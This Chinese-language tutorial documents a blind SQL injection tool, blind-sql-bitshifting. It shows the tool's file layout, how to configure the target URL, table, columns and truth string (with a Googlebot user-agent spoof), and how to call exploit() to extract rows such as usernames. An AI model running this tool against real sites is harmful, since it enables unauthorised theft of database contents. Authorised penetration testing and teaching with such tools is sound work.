blind-sql-bitshifting 项目使用教程

blind-sql-bitshifting 项目使用教程

blind-sql-bitshifting A blind SQL injection module that uses bitshfting to calculate characters. 项目地址: https://gitcode.com/gh_mirrors/bl/blind-sql-bitshifting

1. 项目目录结构及介绍

blind-sql-bitshifting/
├── blind_sql_bitshifting.py
├── LICENSE
└── README.md

• blind_sql_bitshifting.py: 这是项目的主要脚本文件，包含了使用位移方法进行盲SQL注入的逻辑。
• LICENSE: 项目的许可证文件，采用MIT许可证。
• README.md: 项目的说明文件，提供了项目的概述和基本使用方法。

2. 项目启动文件介绍

blind_sql_bitshifting.py

这是项目的主要启动文件，包含了盲SQL注入的核心逻辑。以下是文件的主要功能介绍：

• 导入模块: 文件首先导入了必要的Python模块，如requests等。
• 配置选项: 文件中定义了一个配置字典options，用户可以通过编辑这个字典来配置攻击向量。
• exploit函数: 这是主要的攻击函数，通过位移方法计算字符，返回提取的数据。

使用示例

import blind_sql_bitshifting as x

# 配置攻击向量
x.options["target"] = "http://www.example.com/index.php?id=1"
x.options["table_name"] = "users"
x.options["columns"] = "id, username"

# 执行攻击
data = x.exploit()
print(data)

3. 项目的配置文件介绍

项目没有单独的配置文件，所有的配置选项都通过blind_sql_bitshifting.py文件中的options字典进行设置。以下是一些主要的配置选项：

• target: 目标URL，即存在SQL注入漏洞的页面链接。
• table_name: 要提取数据的表名。
• columns: 要提取数据的列名。
• truth_string: 页面中表示SQL语句执行成功的字符串。
• assume_only_ascii: 是否假设提取的字符都是ASCII字符，可以减少请求次数。

配置示例

x.options = {
    "target": "http://www.example.com/index.php?id=1",
    "cookies": "",
    "row_condition": "",
    "follow_redirections": 0,
    "user_agent": "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
    "table_name": "users",
    "columns": "id, username",
    "truth_string": "<p id='success'>true</p>",
    "assume_only_ascii": 1
}

通过以上配置，用户可以灵活地调整攻击向量，以适应不同的SQL注入场景。

blind-sql-bitshifting A blind SQL injection module that uses bitshfting to calculate characters. 项目地址: https://gitcode.com/gh_mirrors/bl/blind-sql-bitshifting